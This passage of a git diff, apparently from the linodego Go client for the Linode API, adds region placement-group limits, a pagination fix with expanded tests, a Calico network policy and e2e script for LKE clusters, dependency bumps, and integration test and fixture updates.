= "Placement Group" + CapabilityDiskEncryption string = "Disk Encryption" ) // Region-related endpoints have a custom expiry time as the @@ -53,10 +53,12 @@ type Region struct { // A List of enums from the above constants Capabilities []string `json:"capabilities"` - Status string `json:"status"` - Resolvers RegionResolvers `json:"resolvers"` - Label string `json:"label"` - SiteType string `json:"site_type"` + Status string `json:"status"` + Label string `json:"label"` + SiteType string `json:"site_type"` + + Resolvers RegionResolvers `json:"resolvers"` + PlacementGroupLimits *RegionPlacementGroupLimits `json:"placement_group_limits"` } // RegionResolvers contains the DNS resolvers of a region @@ -65,6 +67,13 @@ type RegionResolvers struct { IPv6 string `json:"ipv6"` } +// RegionPlacementGroupLimits contains information about the +// placement group limits for the current user in the current region. +type RegionPlacementGroupLimits struct { + MaximumPGsPerCustomer int `json:"maximum_pgs_per_customer"` + MaximumLinodesPerPG int `json:"maximum_linodes_per_pg"` +} + // RegionsPagedResponse represents a linode API response for listing type RegionsPagedResponse struct { *PageOptions diff --git a/request_helpers.go b/request_helpers.go index 49b5dc401..747c8c4e3 100644 --- a/request_helpers.go +++ b/request_helpers.go @@ -5,7 +5,6 @@ import ( "encoding/json" "fmt" "net/url" - "strconv" ) // paginatedResponse represents a single response from a paginated @@ -30,8 +29,6 @@ func getPaginatedResults[T any]( result := make([]T, 0) - req := client.R(ctx).SetResult(resultType) - if opts == nil { opts = &ListOptions{PageOptions: &PageOptions{Page: 0}} } @@ -40,15 +37,20 @@ func getPaginatedResults[T any]( opts.PageOptions = &PageOptions{Page: 0} } - // Apply all user-provided list options to the base request - if err := applyListOptionsToRequest(opts, req); err != nil { - return nil, err - } - // Makes a request to a particular page and // appends the response to the result handlePage := func(page int) error { - req.SetQueryParam("page", strconv.Itoa(page)) + // Override the page to be applied in applyListOptionsToRequest(...) + opts.Page = page + + // This request object cannot be reused for each page request + // because it can lead to possible data corruption + req := client.R(ctx).SetResult(resultType) + + // Apply all user-provided list options to the request + if err := applyListOptionsToRequest(opts, req); err != nil { + return err + } res, err := coupleAPIErrors(req.Get(endpoint)) if err != nil { diff --git a/request_helpers_test.go b/request_helpers_test.go index ced033c3f..bed2e7403 100644 --- a/request_helpers_test.go +++ b/request_helpers_test.go @@ -2,12 +2,15 @@ package linodego import ( "context" + "fmt" "math" "net/http" "reflect" "strconv" "testing" + "github.com/stretchr/testify/require" + "github.com/linode/linodego/internal/testutil" "github.com/google/go-cmp/cmp" @@ -21,6 +24,7 @@ type testResultNestedType struct { type testResultType struct { ID int `json:"id"` + Bar *string `json:"bar"` Foo string `json:"foo"` Cool testResultNestedType `json:"cool"` } @@ -161,6 +165,8 @@ func TestRequestHelpers_delete(t *testing.T) { } func TestRequestHelpers_paginateAll(t *testing.T) { + const totalResults = 4123 + client := testutil.CreateMockClient(t, NewClient) numRequests := 0 @@ -169,7 +175,7 @@ func TestRequestHelpers_paginateAll(t *testing.T) { "GET", testutil.MockRequestURL("/foo/bar"), mockPaginatedResponse( - buildPaginatedEntries(12), + buildPaginatedEntries(totalResults), &numRequests, ), ) @@ -179,27 +185,20 @@ func TestRequestHelpers_paginateAll(t *testing.T) { client, "/foo/bar", &ListOptions{ - PageSize: 4, + PageSize: 500, Filter: "{\"foo\": \"bar\"}", }, ) - if err != nil { - t.Fatal(err) - } + require.NoError(t, err) - if numRequests != 3 { - t.Fatalf("expected 3 requests, got %d", numRequests) - } + require.Equal(t, 9, numRequests) + require.Len(t, response, totalResults) - if len(response) != 12 { - t.Fatalf("expected 12 results, got %d", len(response)) - } - - for i := 0; i < 12; i++ { + for i := 0; i < totalResults; i++ { entry := response[i] - if entry.ID != i { - t.Fatalf("expected id %d, got %d", i, entry.ID) - } + + require.Equal(t, i, entry.ID) + require.Equal(t, fmt.Sprintf("test-%d", i), *entry.Bar) } } @@ -252,7 +251,9 @@ func buildPaginatedEntries(numEntries int) []testResultType { result := make([]testResultType, numEntries) for i := 0; i < numEntries; i++ { + bar := fmt.Sprintf("test-%d", i) result[i] = testResultType{ + Bar: &bar, Foo: "foo", ID: i, } @@ -282,13 +283,19 @@ func mockPaginatedResponse( } } + // Clamp the top index to prevent out of bounds issues + lastEntryIdx := pageSize * page + if lastEntryIdx > len(entries) { + lastEntryIdx = len(entries) + } + return httpmock.NewJsonResponse( 200, paginatedResponse[testResultType]{ Page: page, Pages: int(math.Ceil(float64(len(entries)) / float64(pageSize))), Results: pageSize, - Data: entries[pageSize*(page-1) : pageSize*page], + Data: entries[pageSize*(page-1) : lastEntryIdx], }, ) } diff --git a/scripts/lke-policy.yaml b/scripts/lke-policy.yaml new file mode 100644 index 000000000..d1a8436e8 --- /dev/null +++ b/scripts/lke-policy.yaml @@ -0,0 +1,78 @@ +apiVersion: projectcalico.org/v3 +kind: GlobalNetworkPolicy +metadata: + name: lke-rules +spec: + preDNAT: true + applyOnForward: true + order: 100 + # Remember to run calicoctl patch command for this to work + selector: "" + ingress: + # Allow ICMP + - action: Allow + protocol: ICMP + - action: Allow + protocol: ICMPv6 + + # Allow LKE-required ports + - action: Allow + protocol: TCP + destination: + nets: + - 192.168.128.0/17 + - 10.0.0.0/8 + ports: + - 10250 + - 10256 + - 179 + - action: Allow + protocol: UDP + destination: + nets: + - 192.168.128.0/17 + - 10.2.0.0/16 + ports: + - 51820 + + # Allow NodeBalancer ingress to the Node Ports & Allow DNS + - action: Allow + protocol: TCP + source: + nets: + - 192.168.255.0/24 + - 10.0.0.0/8 + destination: + ports: + - 53 + - 30000:32767 + - action: Allow + protocol: UDP + source: + nets: + - 192.168.255.0/24 + - 10.0.0.0/8 + destination: + ports: + - 53 + - 30000:32767 + + # Allow cluster internal communication + - action: Allow + destination: + nets: + - 10.0.0.0/8 + - action: Allow + source: + nets: + - 10.0.0.0/8 + + # 127.0.0.1/32 is needed for kubectl exec and node-shell + - action: Allow + destination: + nets: + - 127.0.0.1/32 + + # Block everything else + - action: Deny + - action: Log diff --git a/scripts/lke_calico_rules_e2e.sh b/scripts/lke_calico_rules_e2e.sh new file mode 100755 index 000000000..48ad5caec --- /dev/null +++ b/scripts/lke_calico_rules_e2e.sh @@ -0,0 +1,60 @@ +#!/bin/bash + +RETRIES=3 +DELAY=30 + +# Function to retry a command with exponential backoff +retry_command() { + local retries=$1 + local wait_time=60 + shift + until "$@"; do + if ((retries == 0)); then + echo "Command failed after multiple retries. Exiting." + exit 1 + fi + echo "Command failed. Retrying in $wait_time seconds..." + sleep $wait_time + ((retries--)) + wait_time=$((wait_time * 2)) + done +} + +# Fetch the list of LKE cluster IDs +CLUSTER_IDS=$(curl -s -H "Authorization: Bearer $LINODE_TOKEN" \ + -H "Content-Type: application/json" \ + "https://api.linode.com/v4/lke/clusters" | jq -r '.data[].id') + +# Check if CLUSTER_IDS is empty +if [ -z "$CLUSTER_IDS" ]; then + echo "All clusters have been cleaned and properly destroyed. No need to apply inbound or outbound rules" + exit 0 +fi + +for ID in $CLUSTER_IDS; do + echo "Applying Calico rules to nodes in Cluster ID: $ID" + + # Download cluster configuration file with retry + for ((i=1; i<=RETRIES; i++)); do + config_response=$(curl -sH "Authorization: Bearer $LINODE_TOKEN" "https://api.linode.com/v4/lke/clusters/$ID/kubeconfig") + if [[ $config_response != *"kubeconfig is not yet available"* ]]; then + echo $config_response | jq -r '.[] | @base64d' > "/tmp/${ID}_config.yaml" + break + fi + echo "Attempt $i to download kubeconfig for cluster $ID failed. Retrying in $DELAY seconds..." + sleep $DELAY + done + + if [[ $config_response == *"kubeconfig is not yet available"* ]]; then + echo "kubeconfig for cluster id:$ID not available after $RETRIES attempts, mostly likely it is an empty cluster. Skipping..." + else + # Export downloaded config file + export KUBECONFIG="/tmp/${ID}_config.yaml" + + retry_command $RETRIES kubectl get nodes + + retry_command $RETRIES calicoctl patch kubecontrollersconfiguration default --allow-version-mismatch --patch='{"spec": {"controllers": {"node": {"hostEndpoint": {"autoCreate": "Enabled"}}}}}' + + retry_command $RETRIES calicoctl apply --allow-version-mismatch -f "$(pwd)/lke-policy.yaml" + fi +done diff --git a/test/Makefile b/test/Makefile index 0f1e1552f..2c1832fdb 100644 --- a/test/Makefile +++ b/test/Makefile @@ -19,4 +19,9 @@ smoketest: LINODE_TOKEN="awesometokenawesometokenawesometoken" \ LINODE_API_VERSION="v4beta" \ GO111MODULE="on" \ - go test -v -run smoke ./integration/... \ No newline at end of file + go test -v -run smoke ./integration/... + + +.PHONY: unit-test +unit-test: + go test -v ./unit $(ARGS) \ No newline at end of file diff --git a/test/go.mod b/test/go.mod index dbbb7526c..ae1b4f64f 100644 --- a/test/go.mod +++ b/test/go.mod @@ -7,8 +7,8 @@ require ( github.com/linode/linodego v1.33.0 github.com/linode/linodego/k8s v0.0.0-00010101000000-000000000000 github.com/stretchr/testify v1.9.0 - golang.org/x/net v0.25.0 - golang.org/x/oauth2 v0.20.0 + golang.org/x/net v0.26.0 + golang.org/x/oauth2 v0.21.0 k8s.io/client-go v0.29.4 ) @@ -34,9 +34,9 @@ require ( github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/spf13/pflag v1.0.5 // indirect - golang.org/x/sys v0.20.0 // indirect - golang.org/x/term v0.20.0 // indirect - golang.org/x/text v0.15.0 // indirect + golang.org/x/sys v0.21.0 // indirect + golang.org/x/term v0.21.0 // indirect + golang.org/x/text v0.16.0 // indirect golang.org/x/time v0.5.0 // indirect google.golang.org/protobuf v1.33.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect diff --git a/test/go.sum b/test/go.sum index 9c7dc7b3d..2241b8eb8 100644 --- a/test/go.sum +++ b/test/go.sum @@ -104,10 +104,11 @@ golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= -golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= -golang.org/x/oauth2 v0.20.0 h1:4mQdhULixXKP1rwYBW0vAijoXnkTG0BLCDRzfe1idMo= -golang.org/x/oauth2 v0.20.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= +golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ= +golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE= +golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= +golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -123,23 +124,26 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.21.0 h1:rF+pYz3DAGSQAxAu1CbC7catZg4ebC4UIeIhKxBZvws= +golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= -golang.org/x/term v0.20.0 h1:VnkxpohqXaOBYJtBmEppKUG6mXpi+4O6purfc2+sMhw= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= +golang.org/x/term v0.21.0 h1:WVXCp+/EBEHOj53Rvu+7KiT/iElMrO8ACK16SMZ3jaA= +golang.org/x/term v0.21.0/go.mod h1:ooXLefLobQVslOqselCNF4SxFAaoS6KujMbsGzSDmX0= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= +golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -148,8 +152,8 @@ golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roY golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= -golang.org/x/tools v0.16.1 h1:TLyB3WofjdOEepBHAU20JdNC1Zbg87elYofWYAY5oZA= -golang.org/x/tools v0.16.1/go.mod h1:kYVVN6I1mBNoB1OX+noeBjbRk4IUEPa7JJ+TJMEooJ0= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git a/test/integration/account_child_test.go b/test/integration/account_child_test.go new file mode 100644 index 000000000..7102ef0d7 --- /dev/null +++ b/test/integration/account_child_test.go @@ -0,0 +1,40 @@ +//go:build parent_child + +package integration + +import ( + "context" + "reflect" + "testing" + + "github.com/google/go-cmp/cmp" + "github.com/stretchr/testify/require" +) + +// NOTE: These fixtures are expected to be run under a parent account. +func TestAccountChild_basic(t *testing.T) { + client, teardown := createTestClient(t, "fixtures/TestAccountChild_basic") + defer teardown() + + childAccounts, err := client.ListChildAccounts(context.Background(), nil) + require.NoError(t, err) + require.Greater( + t, + len(childAccounts), + 0, + "number of child accounts should be > 0", + ) + + childAccount, err := client.GetChildAccount(context.Background(), childAccounts[0].EUUID) + require.NoError(t, err) + require.True( + t, + reflect.DeepEqual(*childAccount, childAccounts[0]), + "child accounts should be equal", + cmp.Diff(*childAccount, childAccounts[0]), + ) + + token, err := client.CreateChildAccountToken(context.Background(), childAccount.EUUID) + require.NoError(t, err) + require.Greater(t, len(token.Token), 0) +} diff --git a/test/integration/account_events_test.go b/test/integration/account_events_test.go index ed1732b6c..c367853ff 100644 --- a/test/integration/account_events_test.go +++ b/test/integration/account_events_test.go @@ -8,7 +8,7 @@ import ( ) func TestAccountEvents_List(t *testing.T) { - client, instance, teardown, err := setupInstance(t, "fixtures/TestAccountEvents_List") + client, instance, teardown, err := setupInstance(t, "fixtures/TestAccountEvents_List", true) defer teardown() if err != nil { t.Error(err) diff --git a/test/integration/account_users_test.go b/test/integration/account_users_test.go index 0d421de8e..18204e930 100644 --- a/test/integration/account_users_test.go +++ b/test/integration/account_users_test.go @@ -67,6 +67,9 @@ func TestUser_Get_smoke(t *testing.T) { if user.VerifiedPhoneNumber != nil { t.Error("expected phone number is not set") } + if user.UserType == "" { + t.Errorf("expected user type, got none") + } } func TestUser_Update(t *testing.T) { @@ -150,6 +153,9 @@ func TestUsers_List(t *testing.T) { if newUser.VerifiedPhoneNumber != nil { t.Error("expected phone number is not set") } + if newUser.UserType == "" { + t.Errorf("expected user type, got none") + } } func createUser(t *testing.T, client *linodego.Client, userModifiers ...userModifier) (*User, func()) { diff --git a/test/integration/example_integration_test.go b/test/integration/example_integration_test.go index 7417aa2ab..030bb1312 100644 --- a/test/integration/example_integration_test.go +++ b/test/integration/example_integration_test.go @@ -81,7 +81,7 @@ func Example() { fmt.Println("### Error:", err) if spendMoney { - linode, err = linodeClient.CreateInstance(context.Background(), linodego.InstanceCreateOptions{Region: "us-southeast", Type: "g5-nanode-1"}) + linode, err = linodeClient.CreateInstance(context.Background(), linodego.InstanceCreateOptions{Region: "us-southeast", Type: "g6-nanode-1", FirewallID: GetFirewallID()}) if err != nil { log.Fatalln("* While creating instance: ", err) } @@ -311,11 +311,11 @@ func Example() { // ## First Linode // ### First Config: true // ### First Disk: true - // ### No Auto Backups + // ### First Auto Backup // ### Snapshots // ### No Current Snapshot // ### No Volumes - // ## Your Stackscripts: false + // ## Your Stackscripts: true } const ( diff --git a/test/integration/example_nodebalancers_test.go b/test/integration/example_nodebalancers_test.go index 403dd7afe..55aa279d4 100644 --- a/test/integration/example_nodebalancers_test.go +++ b/test/integration/example_nodebalancers_test.go @@ -61,6 +61,7 @@ func ExampleClient_CreateNodeBalancerConfig() { nb, err := linodeClient.CreateNodeBalancer(context.Background(), linodego.NodeBalancerCreateOptions{ ClientConnThrottle: &clientConnThrottle, Region: "us-southeast", + FirewallID: GetFirewallID(), }) if err != nil { log.Fatal(err) @@ -137,6 +138,7 @@ func ExampleClient_CreateNodeBalancerNode() { nb, err := linodeClient.CreateNodeBalancer(context.Background(), linodego.NodeBalancerCreateOptions{ ClientConnThrottle: &clientConnThrottle, Region: "us-southeast", + FirewallID: GetFirewallID(), }) if err != nil { log.Fatal(err) @@ -153,12 +155,13 @@ func ExampleClient_CreateNodeBalancerNode() { booted := false instanceOpts := linodego.InstanceCreateOptions{ - Label: "nodebalancer-example-instance", - RootPass: randPassword(), - Region: "us-southeast", - Type: "g6-nanode-1", - Image: "linode/debian9", - Booted: &booted, + Label: "nodebalancer-example-instance", + RootPass: randPassword(), + Region: "us-southeast", + Type: "g6-nanode-1", + Image: "linode/debian9", + Booted: &booted, + FirewallID: GetFirewallID(), } instance, err := linodeClient.CreateInstance(context.Background(), instanceOpts) if err != nil { diff --git a/test/integration/firewalls_devices_test.go b/test/integration/firewalls_devices_test.go index 7dfea015a..693fa2cbf 100644 --- a/test/integration/firewalls_devices_test.go +++ b/test/integration/firewalls_devices_test.go @@ -10,7 +10,7 @@ import ( ) func TestFirewallDevices_List(t *testing.T) { - client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevices_List") + client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevices_List", false) if err != nil { t.Error(err) } @@ -35,7 +35,7 @@ func TestFirewallDevices_List(t *testing.T) { } func TestFirewallDevice_Get(t *testing.T) { - client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Get") + client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Get", false) if err != nil { t.Error(err) } @@ -63,7 +63,7 @@ func TestFirewallDevice_Get(t *testing.T) { } func TestFirewallDevice_Delete(t *testing.T) { - client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Delete") + client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Delete", false) if err != nil { t.Error(err) } diff --git a/test/integration/fixtures/Example.yaml b/test/integration/fixtures/Example.yaml index d84d0fb87..0e8d852ae 100644 --- a/test/integration/fixtures/Example.yaml +++ b/test/integration/fixtures/Example.yaml @@ -1,706 +1,688 @@ --- version: 1 interactions: - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/1231 - method: GET - response: - body: '{"errors": [{"reason": "Not found"}]}' - headers: - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - Content-Length: - - "37" - Content-Type: - - application/json - Server: - - nginx - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - linodes:read_only - X-Frame-Options: - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - status: 404 Not Found - code: 404 - duration: "" - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances - method: GET - response: - body: '{"data": [{"id": 29745916, "label": "workdev", "group": "", "status": "running", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-standard-2", "ipv4": ["139.177.207.51"], "ipv6": "1234::5678/128", - "image": "linode/fedora34", "region": "us-southeast", "specs": {"disk": 81920, - "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": - 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, - "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["linuke-keep"]}, - {"id": 39240942, "label": "lke75115-116795-633c48949ebf", "group": "", "status": - "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["45.33.100.229", "192.168.205.39"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240950, "label": "lke75116-116796-633c48a291b4", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["50.116.34.26", "192.168.195.209"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240951, "label": "lke75116-116797-633c48a2c4ee", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["45.79.210.94", "192.168.195.223"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240953, "label": "lke75116-116797-633c48a2dbfa", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["139.177.202.7", "192.168.224.63"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240954, "label": "lke75117-116799-633c48b08cfe", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["170.187.138.96", "192.168.224.159"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240957, "label": "lke75117-116798-633c48b05dd7", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["50.116.45.165", "192.168.198.78"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240959, "label": "lke75118-116800-633c48be1f78", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["170.187.205.32", "192.168.198.199"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240964, "label": "lke75118-116801-633c48be62a3", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["45.79.200.235", "192.168.142.5"], "ipv6": - "1234::5678/128", "image": null, "region": "us-southeast", - "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": - 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": - 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": - null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, - "tags": []}, {"id": 39240967, "label": "lke75118-116801-633c48be7a4b", "group": - "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-standard-2", "ipv4": ["74.207.232.207", "192.168.142.45"], "ipv6": - "1234::5678/128", "image": 